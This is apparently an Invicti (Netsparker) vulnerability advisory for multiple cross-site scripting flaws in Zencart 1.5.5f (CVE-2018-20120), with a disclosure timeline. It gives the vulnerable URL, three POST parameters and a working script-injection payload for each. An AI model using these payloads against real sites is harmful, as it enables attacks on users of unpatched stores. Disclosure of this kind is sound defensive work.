Information
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Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in Zencart 1.5.5f
Affected Software: Zencart
Affected Versions: 1.5.5f
Homepage: https://www.zen-cart.com/
Vulnerability: Cross-site Scripting
Severity: High
Status: Not Fixed
CVE-ID: CVE-2018-20120
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Invicti Advisory Reference: NS-18-057

Technical Details
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URL: http://{DOMAIN}/{PATH-OF-ZENCART}/index.php?main_page=product_info&cPath=22&products_id=46&number_of_uploads=0&action=add_product
Parameter Name: id[txt_9]
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(1)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-ZENCART}/index.php?main_page=product_info&cPath=22&products_id=46&number_of_uploads=0&action=add_product
Parameter Name: id[txt_10]
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(1)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-ZENCART}/index.php?main_page=product_info&cPath=22&products_id=46&number_of_uploads=0&action=add_product
Parameter Name: id[txt_11]
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(1)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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2nd November 2018 - First Contact
9nd November 2018 - Details Sent
14th February 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.